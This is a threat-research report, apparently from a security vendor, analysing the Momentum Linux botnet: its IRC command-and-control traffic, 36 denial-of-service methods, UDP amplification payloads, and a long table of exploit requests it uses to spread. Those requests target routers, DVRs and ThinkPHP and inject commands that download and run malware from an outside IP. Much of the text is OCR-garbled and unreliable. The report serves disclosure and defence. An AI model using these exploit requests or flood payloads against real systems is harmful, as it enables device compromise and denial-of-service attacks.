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We recently found notable malware activity affecting devices running Linux, a platform that has battled numerous issues just this year. Further
analysis of retrieved malware samples revealed that these actions were connected to a botnet called Momentum (named for the image found
in its communication channel). We found new details on the tools and techniques the botnet is currently using to compromise devices and
perform distributed denial-of-service (DDoS) attacks.

Momentum targets the Linux platform on various CPU architectures such as ARM, MIPS, Intel, Motorola 68020, and more. The main purpose
of this malware is to open a backdoor and accept commands to conduct various types of DoS attacks against a given target. The backdoors
being distributed by the Momentum botnet are Mirai, Kaiten, and Bashlite variants; the specific sample we analyzed was pushing a Mirai
backdoor. Moreover, Momentum spreads via exploiting multiple vulnerabilities on various routers and web services to download and execute
shell scripts on the target devices.

How does Momentum work?

After infecting a device, Momentum attempts to achieve persistence by modifying the “rc” files; then it joins the command and control (C&C)
server and connects to an internet relay chat (IRC) channel called #HellRoom to register itself and accept commands. The IRC protocol is the
main method of communication with the command and control (C&C) servers. The botnet operators can then control infected systems by
sending messages to the IRC channel.

NICK [MTM-BOT|x86_32]xPgCI

USER xPgCI localhost localhost :xPgCI

PING :C3E57211

PONG :C3E57211

rirc.momentum.net @01 [MTM-BOT|x86_32]xPgCI :Welcome to the Momentum IRC Network [MTM-BOT|x86_32]xPgCI!xPgCI@170.199.237.98

:irc.momentum.net @02 [MTM-BOT|x86_32]xPgCI :Your host is irc.momentum.net, running version UnrealIRCd-4.2.2

:irc.momentum.net @83 [MTM-BOT|x86_32]xPgCI :This server was created Sun Apr 7 2019 at 19:04:01 EDT

:irc.momentum.net 004 [MTM-BOT|x86_32]xPgCI irc.momentum.net UnrealIRCd-4.2.2 iowrsxzdHtIDZRqpWGTSB lvhopsmntikragbeIzMQNRTOVKDAGLPZSCcf
:irc.momentum.net 805 [MTM-BOT|x86_32]xPgCI AWAYLEN=387 CASEMAPPING=ascii CHANLIMIT=#:3@ CHANMODES=beI, kLf,1,psmntirzMQNRTOVKDdGPZSCc CHANNELLEN=32 CHANTYPES=# DEAF=d ELIST=MNUCT
EXCEPTS EXTBAN=~,tmTSOcaRrngj HCN INVEX :are supported by this server

irc.momentum.net @05 [MTM-BOT|x86_32]xPgCI KICKLEN=307 KNOCK MAP MAXCHANNELS=30 MAXLIST=b:60,e:60,1:60 MAXNICKLEN=3@ MODES=12 NAMESX NETWORK=Momentum NICKLEN=30 PREFIX=(qachv)~&@%+
QUITLEN=387 :are supported by this server

:irc.momentum.net @85 [MTM-BOT|x86_32]xPgCI SAFELIST SILENCE=15 STATUSMSG=~&@%+ TARGMAX=DCCALLOW:,ISOM:,JOIN:,KICK:4,KILL:,LIST: ,NAMES:1,NOTICE:1,PART:,PRIVMSG:
4,SAJOIN: ,SAPART:,USERHOST: ,USERIP: ,WATCH: ,WHOIS:1,WHOWAS:1 TOPICLEN=36@ UHNAMES USERIP WALLCHOPS WATCH=128 WATCHOPTS=A :are supported by this server
:irc.momentum.net 396 [MTM-BOT |x86_32]xPgCI EB86BCAC.674A2FD3.FO0CD863.IP :is now your displayed host

:irc.momentum.net 251 [MTM-BOT|x86_32]xPgCI :There are 3 users and 129 invisible on 1 servers

:irc.momentum.net 253 [MTM-BOT|x86_32]xPgCI 4 :unknown connection(s)

:irc.momentum.net 254 [MTM-BOT|x86_32]xPgCI 4 :channels formed

:irc.momentum.net 255 [MTM-BOT|x86_32]xPgCI :I have 132 clients and @ servers

:irc.momentum.net 265 [MTM-BOT|x86_32]xPgCI 132 399 :Current local users 132, max 399

:irc.momentum.net 266 [MTM-BOT|x86_32]xPgCI 132 343 :Current global users 132, max 343

:irc.momentum.net 375 [MTM-BOT|x86_32]xPgCI :- irc.momentum.net Message of the Day -

:irc.momentum.net 372 [MTM-BOT|x86_32]xPgCI :- 2/10/2019 19:03

:irc.momentum.net 372 [MTM-BOT |x86_32]xPgCI :-

:irc.momentum.net 372 [MTM-BOT |x86_32]xPgCI :- _ _ _ _ _ _ _ _ _
:irc.momentum.net 372 [MTM-BOT|x86_32]xPglI :- JAVANRYAVA U TN G VANV AW WA AVAVAWAWRVAN N AN /NN N
:irc.momentum.net 372 [MTM-BOT|x86_32]xPgCT :- DINMCOCC/ANAN D)V W NDINCAC VOO ) )) )V«
:irc.momentum.net 372 [MTM-BOT|x86_32]xPgCI :- | /_/ \ /\ N/ /_/ (NN_/ N 7N\ \NNA\_\N// NN/ /) NNV SN AN
:irc.momentum.net 372 [MTM-BOT|x86_32]xPgCI :- | N\ \\// / AN) /S /F ANNNN/ /7P 7 I NN /70 ( NN S NN S
sirc.momentum.net 372 [MTM-BOT|x86_32]xPgCT :- D) O NV /) D) )0 )) N CC VA (D) DD
:irc.momentum.net 372 [MTM-BOT|x86_32]xPgCI :- \\/ NS ) (R VAVARVAVIAV) NN NS T /_\ \\/ \/_/
:irc.momentum.net 372 [MTM-BOT|x86_32]xPgCI :-

:irc.momentum.net 372 [MTM-BOT |x86_32]xPgCI :- FUCK THE FEDS

:irc.momentum.net 372 [MTM-BOT |x86_32]xPgCI :-

:irc.momentum.net 372 [MTM-BOT|x86_32]xPgCI :-

:irc.momentum.net 376 [MTM-BOT|x86_32]xPgCI :End of /MOTD command.

: [MTM-BOT | x86_

32]xPgCI MODE [MTM-BOT |x86_32]xPgCI :+iwx

MODE xPgCI -xi

:irc.momentum.net 481 [MTM-BOT|x86_32]xPgCI xPgCI :No such nick/channel

JOIN #HellRoom :eKDdMZwH

WHO xPgCT

- [MTM-BOT | x86_32]xPgCI ! xPgCI@EBSEBCAC . 674A2FD3 . FOBCD863 . IP JOIN :#HellRoom

:irc.momentum.net 353 [MTM-BOT|x86_32]xPgCI = #HellRoom :[MTM-BOT|x86_32]xPgCI [MTM-BOT|ARMAT]rUJ{32E5 [MTM-BOT|ARM3]6Xbq22 [MTM-BOT|ARMAT]sAmd [MTM-BOT|ARM3]yqyXq5 [MTM-BOT|
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Figure 1. After an infected device joins the attackers IRC command and control channel
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BASH

ELF

Figure 2. Command and control communication path (downloader/distributer server, IRC server)

The distribution server (as seen above) hosts the malware executables. The other server is a C&C server for the botnet. The C&C servers

were live as recently as November 18 2019.

Once the communication lines are established, Momentum can use various commands to attack using the compromised devices. In particular,
Momentum can deploy 36 different methods for DoS, as listed below.

Momentum
botnet

IRC C&C server

Command Description

ACK ACK flooder

ADV-TCP TCP flooding - Improved SSYN Attack
BLACKNURSE An ICMP packet flooder

DNS DNS amplification flooder

ECE attacking (Not in use)

Type of SYN flood

ESSYN ExecuteSpoofedSyn Flooder

FIN attacking (Notin use)  FIN flood

FRAGACK ACK Fragmentation Flood
FRAG-TCP Spoofed TCP Fragmentation Flooder
GRE GRE flood

HOLD (Not in use)

TCP connect flooder(frag)

HTTP

HTTP Flooder

HTTPFLOOD

HTTP flooding
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JUNK TCP flooder (frag)

LDAP LDAP amplification flooder

MEMCACHE MEMCACHE amplification flooder

NSACK Type of ACK flood

NSSYN Type of SYN flooder

OVH Type of UDP flooding (DOMINATE)

PHATWONK Multiple attacks in one e.g. xmas, all flags set at once, usyn (urg syn), and any TCP flag combination.
RTCP A Random TCP Flooder Fragmented packet header

SACK Type of TCP flood

SEW Attack Type of SYN flood

SSYN2 Type of SYN flood

STUDP STD Flooder

STUDP STD Flooder

SYN SYN flooder

SYNACK SYN-ACK flood

TCPNULL TCP-Nulled flooding - Flood with TCP packets with no flag set
UDP UDP flood

UDP-BYPASS A udp flooder (vulnMix)

UNKNOWN UDP Flooder

URG attacking -

VOLT-UDP Spoofed UDP Flooder, Can Bypass most firewall
VSE Valve Source Engine Amplification
XMAS TCP Xmas flood

Table 1. Various DoS methods that Momentum is capable of

The malware uses known reflection and amplifications methods that have a variety of targets: MEMCACHE, LDAP, DNS and Valve Source
Engine. In these types of attack, the malware typically spoofs source IP addresses (the victims) to various services run on publicly accessible
servers, provoking a flood of responses to overwhelm the victim’s address.

Apart from DoS attacks, we found that Momentum is also capable of other actions: opening a proxy on a port on a specified IP, changing the
nick of the client, disabling or enabling packeting from the client, and more. In the section below we will run through the specific attack
capabilities of Momentum:

Momentum’s denial-of-service attacks
LDAP DDoS reflection

In a LDAP DDoS reflection, the malware spoofed the source IP address of a target system to publicly accessible LDAP servers which causes it
to send a larger response to the target.

Memcache attack |

In a Memcache attack, a remote attacker constructs and sends a malicious UDP request using a spoofed source IP address of a target system
to a vulnerable UDP memcached server. The memcached server then sends a significantly large response to the target. Momentum uses an
HTTP GET request to download a reflection file—the malware uses the same request for the same purpose in other amplified DoS attacks as
well.

Based on initial data from Shodan, there are over 42,000 vulnerable memcached servers that can be affected by this type of attack.
The Momentum botnet uses the following HTTP GET request to download reflection file:

GET/HTTP/1.1
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| User-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)

| Host: <HOST_Address>:80

| Accept: */*

| Connection: Keep-Alive

UDP-BYPASS attack

In a UDP-BYPASS attack, Momentum floods the target host by constructing and unloading a legitimate UDP payload on a specific port. Upon
execution of this attack the malware chooses a random port and a corresponding payload, then sends it against the targeted host. The
malware uses multi-threading for this attack; each thread takes a port followed by its payload.

The following is list of some ports followed by their payload:

Port Payload

500  \x00\x11\x22\x33\x44\x55\x66\x77\x00\x00\x00\x00\x00\x00\x00\x00\x0 1\x 10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x CO\X00\X00\x00\x A4
1434 \x02

5353 \x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09_services\x07_dns-sd\x04_udp\x05local\x00\x00\x0C\x00\x01

8767 xf4\xbe\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 1\x00\x00\x002x\xba\x85\t TeamSpeak\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0(
9987 \x05\xca\x7f\x16\x9c\x 11\xf9\x89\x00\x00\x00\x00\x02\x9d\x74\x8b\x45\xaa\x7b\xef\xb9\x9e\xfe\xad\x08\x 19\xba\xcf\x4 1\xe0\x 16\xa2\x32'
1604 \x1e\x00\x01\x30\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

1900 \x4d\x2d\x53\x45\x41\x52\x4 3\x48\x20\x2a\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\Xx0D\x0A\x48\x6\x 7 3\x74\x3a\x32\x33\x39\x2e\x32\x35\x
623  \x06\x00\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x20\x 18\xc8\x81\x00\x38\x8e\x04\xb5

626 SNQUERY: 127.0.0.1:AAAAAA:xsVr

1194 8d\xc1x\x01\xb8\x9b\xcb\x8f\0\0\0\0\0

520  \x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

177 \x00\x01\x00\x02\x00\x01\x00

389  \x30\x84\x00\x00\x00\x2d\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x0 1\x00\x0a\x01\x00\x02\x01\x00\x02\x0 1\x64\x0 1\x01\x00\
161 \x30\x3A\x02\x01\x03\x30\x0F\x02\x02\x4A\x69\x02\x03\x00\xF F\xE3\x04\x01\x04\x02\x0 1\x03\x04\x10\x30\x0E\x04\x00\x02\x0 1\x00\x0Z
53 %getPayload%getPayload\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x7 7\x7 7\x7 7\x06\x6 7\x6\Ax6f\x6 7\x6c\x6 5\x 0 3\x6 3\x6f\x6d\X00\x
7 \XOD\X0A\xOD\x0A

111 \X72\xFE\x1D\x13\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xA0\x00\x01\x97\x7 C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0(

Table 2. Ports and their payloads

Most of the scripts seen above are used for service discovery. If they are sent to the target device over a long period of time, denial-of-service
may be achieved because they crash a service as a side effect of testing.

Phatwonk attacks

Phatwonk attacks perform multiple DoS methods at once: XMAS, all flags at once, usyn (urg syn), and any TCP flag combination.

Momentum’s other capabilities

Fruitful attacks are also dependent on other capabilities than outright offense. Usually malware attempt to evade detection, maintain open
avenues of communication, and more for a sustained successful campaign.

Momentum has other capabilities that help it spread and compromise devices:
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o Fast flux. The Momentum botnet uses the fast flux technique in order to make its command and control network more resilient. A fast flux
network means having multiple IP addresses associated with a domain name and then constantly changing them in quick succession—

this is used by attackers to mislead or evade security investigators.

o Backdoor. The attacker can send a command (“BASH”, “SHD” or SH commands) to the IRC channel and malware clients will receive and
execute it on an infected system. The result will be sent back to the same IRC channel where the attacker executed it.

* Propagate. Momentum propagates by trying to exploit the vulnerabilities listed in the table below. The particular C&C server that we have
been investigating has 1,232 victims shown. For other Momentum variants and C&C servers there may be more.

Vulnerability

Exploit Format

CCTV-DVR RCE Several vendors

GET /language/Swedish${IFS}&&cdS(IFS}/tmp;m${IFS})-rfS (IFS}*;wget
S(IFS)http://151.80.197.109/eBxUk/procservice; sh${IFS)/tmp/procse’
rvices>rastar§(IFS}/string.js HTTR/1.0

ZyXEL Router (appears to be incomplete exploit, similar to this)

POST /cgi-bin/ViewLog.asp HITR/1.1
Host: 192.168.0.14:80

Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*

User-Agent: python-requests/2.20.0
Content-Length: 227

Content-Type: application/x-www-form-urlencoded

/bin/busybox wget http://151.80.197.109/eBxUk/kjUiwa.sh; chmod +x
kjUiwa.sh; ./kjUiwa.sh

Huawei Router

POST /ctrlt/DeviceUpgrade_1 HTTB/1.1
Host: $5:37215

Content-Length: 601

Connection: keep-alive

Authorization: Digest username="dslf-config",
realm="sm; , nonce=" £9ede0e33 d75ee30",
uri="/ctrlt/DeviceUpgrade_1",
b 3612£843a42db 3597e19¢c", algorithm="MD5",
qop= 1, = 1a2560100669"

<?xml version="1.0" 2><s:Envelope
xmlns:s="http://schemas.xnlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas. xmlsoap.org/soap/encoding/"><s:Body><u
:Upgrade xmlns:u="urn:schemas-upnp-

orgiservice: ion:1"™ (/bin/busybox wget -g
0.0.0.0 -1 /tmp/huawei -r /procrcu;chmod —x huawei;/tmp/huawei

huawei) </NewStatusURL><NewDownloadURL>$ (scho

HUAWETUBNP) </NewDownloadURL></u: Upgrade></s:Body></s:Envelope>

Several vendors: Crestron AM, Barco wePresent WiPG, Extron ShareLink, Teq AV IT,
SHARP PN-L703WA, Optoma WPS-Pro, Blackbox HD WPS, InFocus LiteShow Remote
Command Injection (Similar to CVE 2019-3929 and this)

POST /cgi-bin/file_transfer.cgi?cmd='wget
http://151.80.197.109/eBxUk/procrcu; chmod 777 procrcu; ./procreu
MIPS; rm -rf procrcu’ HTTP/1.1\r\n"

pe: application lencoded\r\n

D-Link HNAP1

BOST /HNAP1/ HTTR/1.0
Content-Type: text/mml; charset="utf-g"

SORPAction: http://purenetworks.com/HNAP1/ cd /tmp && rm -rf * && wget
http://151.80.197.109/eBxUk/procreu && chmod +x procreu;./procreu’

Content-Length: 640

<2xml version="1.0" encoding="utf-8"?><soap:Envelope
tp://waw.w3.0rg/2001/XMLSchema~instance”
tp://wiw.w3.0rg/2001/XMLSChema™
xmlins:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap: Body><Add
PortMapping
smlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar<
/PortMappingDescription><InternalClient>192.168.0.100</Internalclient>

i 1>TCR</ i 1 1eort>1234</Exte
rnalPort><InternalPort>1234</InternalPort><. ng></soap:Body
></soap:Envelope>
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Realtek SDK UPnP SOAP Command Execution

Exploit

20ST /picsdesc.xml RTTR/1.1
Host: %s:52869

Content-Length: 630
Accept-Encoding: gzip, deflate

SORPAction: urn:schemas-upnp-
reervs i

Accept: */*
User-Agent: Hello, World

Connection: kesp-alive

<2xml version="1.0" ?><s:Envelope
xmlns:s="http://schenas. xnlsoap. org/soap/snvelops/”
htt; h 1

"><s:Body><u
:AddPortMapping xmlns:u="urn:schemas-upnp-

znalrorc>s 1 <NewInte
rnalport>44 1 1Client>'cd /tmp/; rm -rf*;

wget
http://151.80.197.109/eBxUk/procrcu’ </NewInternalclient ><NewEnabled>1<

i /s:80d
y></s:Envelope>

Exploit 2:

P0ST /picsdesc.xml HTTR/1.1
Host: $2:52069

Content-Length: €30
Accept-Encoding: gzip, deflate

SOAPAction: urn:schemas-upnp-
org:service:WANIRConnection: 1#Addportiapping

Accept: +/*
User-agent: Hello, World

Connection: keep-alive

1.0" 2><s:Envelope
/schemas .xmlsoap.org/soap/envelope/”
"http: //sch 1

smlns

org:service:WANT: ion:1!

rnalrore>t 1 1><NewInte
£nalrort>44382</NewInternalPort><NewInternalclient> cd /tmp/;chmod +x
procreu; . /procreu

realtek' 1c1

ly></s:Envel

GPON80

BOST /GponForm/diag_Form?images/ HTTR/1.1
Host: 127.0.0.1:80

Connection: kesp-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-agent: Hello, World

Content-Length: 118

__conlist=0adest_host="";ugetthtt
emp/

ag_:
p://151.80.197.109/eBxTk/p

GPON8080

BOST /GponForm/diag_Form?images/ HTTR/1.1
User-Agent: Hello, World

Accept: */*

Accept-Encoding: gzip, deflate

Content-Type: application/x-wwi-form-urlencoded

diag_acti _conli,
et+http://151.80.197.109/eBxUk/proczcut-
0+/tmp/theend; sh+/tmp/theend" &ipv=0

GPON443

POST /GponForm/diag_Form?style/ HTTE/1.1
Host: 192.168.0.1:443

User-Agent: curl/7.3.2

Accept: */*

Accept-Encoding: gzip, deflate
Connection: keep-alive

Content-Type: text/plain

Content-Length: 130

XwebPageName=diagsdiag_action=pingswan_conlist=0sdest_host=$ (busybox+u
get+http://151.80.197.109/eBXUK/procrcu+-0+—>+/dev/x; sht/dev/r) 6ipv=0

JAWS Webserver unauthenticated shell command execution

POST /shell?cd+/tmp; rm—
£E4%;uget+http://151.80.197.109/eBxUk/procservice; chmod+777+procservic
e;/tmp/procservice+jaws HTTR/1.1

User-agent: Hello, world
Host: $3:80]

Accept:
text/html, application/xhtml+xml,application/xml;q=0.9, inage/webp, */*
.8

Connection: keep-alive

Vacron NVR RCE

GET /board.cgi?cmd=cd+/tmp; rmt-
Lf+*;uget+htep://151.60.197.109/eBxUK/procservice; chnod+777+procservic
&7 /tmp/procservice+varcron

UPnP SOAP Command Execution (similar to this)

20ST /UD/29 HTTR/1.1
User-Agent: OSIRIS
Content-Type: text/xml

SoaPAction: urn:schemas-upnp-
org:service:WANIRConnection: 1#AddPortMapping

"1.0" 2><s:Envelope
tp://schemas. xnlsoap. org/soap/envelops/"
http://schemas. xmlsoap. org/soap/encoding/"><s:Body><u
urn: schemas-upnp-

117>

< <NewExte
>TCRL/] ><NewInte
rnalPort>44382</NewInternalPort><NewInternalclient>>/tmp/ e && cd

tmp; >/var/dev/.e && cd /var/dev: wget
http://151.80.197.109/eBxUk/kjUiva.sh -0 - > theend.sh; chmod 777
theend

h; sh theend.sh; rm theend.sh; iptables -A INPUT -p tep —-
destination-port 5555
DROP </ 1c1

d>1</NewEnabl

/NewL,
easeDuration></u:AddPortMapping></s:Body></s:Envelope>
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THINK-PHP

Exploit 1:

cET
public/index.php?s=/index/\\think\\app/invokefunctions function=call_us
er_func_arraysvars(0]=shell_execsvars(1][1='wget
http://151.80.197.109/eBxUk/vstat -0 /tmp/.vstat; chmod 777

Jemp/ .vstat; /tmp/.vstat x86_64' HTTR/1.1

Connection: keep-alive
Accept-Encoding: gzip, deflate
Accepe: /

User-Agent: Momentum/2.0

Exploit 2:

GeT
/to/thinkphp5.1.29/2s=index/\\think\\app/invokefunctionsfunction=call_
user_func_arraysvars[0]=system&vars (1] [1='wget
http://151.80.197.109/eBxUK/vstat -0 /tmp/.vstat; chmod 777
/tmp/.vstat; /tmp/.vstat x86_64' HTTR/1.1

Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /

User-Agent: Momentum/2.0

Exploit 3:

ceT
/to/thinkphps.1.29/2s=index/\\think\\\\Request/inputs£ilter=systemidat
a='wget http://151.80.197.109/eBxUk/vstat -0 /tmp/.vstat; chmod 777
/tmp/.vstat; /tmp/.vstat x86_64' HTTR/1.1

Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /

User-agent: Momentum/2.0

Exploit 4:

cET
/to/thinkphps.1.29/?s=index/\\think\\\\Containexr/invokefunctionsfuncti
on=call_user_func_arraysvars [0]=systemsvars [1] []='wget
http://151.80.197.109/2BxUk/vstat -0 /tmp/.vstat; chmod 177
/tmp/.vstat; /tmp/.vstat x86_64' HTTE/1.1\\r\\nConnection: keep-alive
Accept-Encoding: gzip, deflate

Accept: /

User-Agent: Momentum/2.0

HooTooTripMate RCE

posT

/protocol. i i _tablesflag=close_for
everamac=|wget http://151.80.197.109/eBxUk/procreu; chmod 777 proczcu;
-/procrcu tripmate; rm -rf procrcw; history —c

Content-Length: €30
Accept-Encoding: gzip, deflate
Accept: /

User-Agent: Momentum/3.00

Connection: keep-alive

Table 3. Vulnerabilities and exploits used in propagation
Security recommendations and solutions

Smart and connected devices are prone compromise because of limited security settings and protection options. The devices themselves are
often manufactured with operation in mind, not security. Users should take proactive steps in securing their devices, particularly routers. As
mentioned above, the Momentum botnet targets Linux devices which are known to be susceptible to attacks involving_botnets, ransomware
and cryptocurrency miners. However, there are different ways to protect such devices from attacks.

Trend Micro Home Network Security provides an embedded network security solution that protects all devices connected to a home network
against cyberattacks. Based on Trend Micro’s rich threat research experience and industry-leading deep packet inspection (DPI) technology,
Trend Micro Smart Home Network offers intelligent quality of service (iQoS), parental controls, network security, and more.

Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to attacks using exploits and similar threats
through specialized engines, custom sandboxing, and seamless correlation across the entire attack life cycle, allowing it to detect these kinds
of attacks even without engine or pattern updates. These solutions are powered by XGen™ security, which provides a cross-generational
blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints. Smart,

optimized, and connected, XGen powers Trend Micro’s suite of security solutions: Hybrid Cloud Security, User Protection, and Network
Defense.

Indicator of Compromise

SHA-256 Detection
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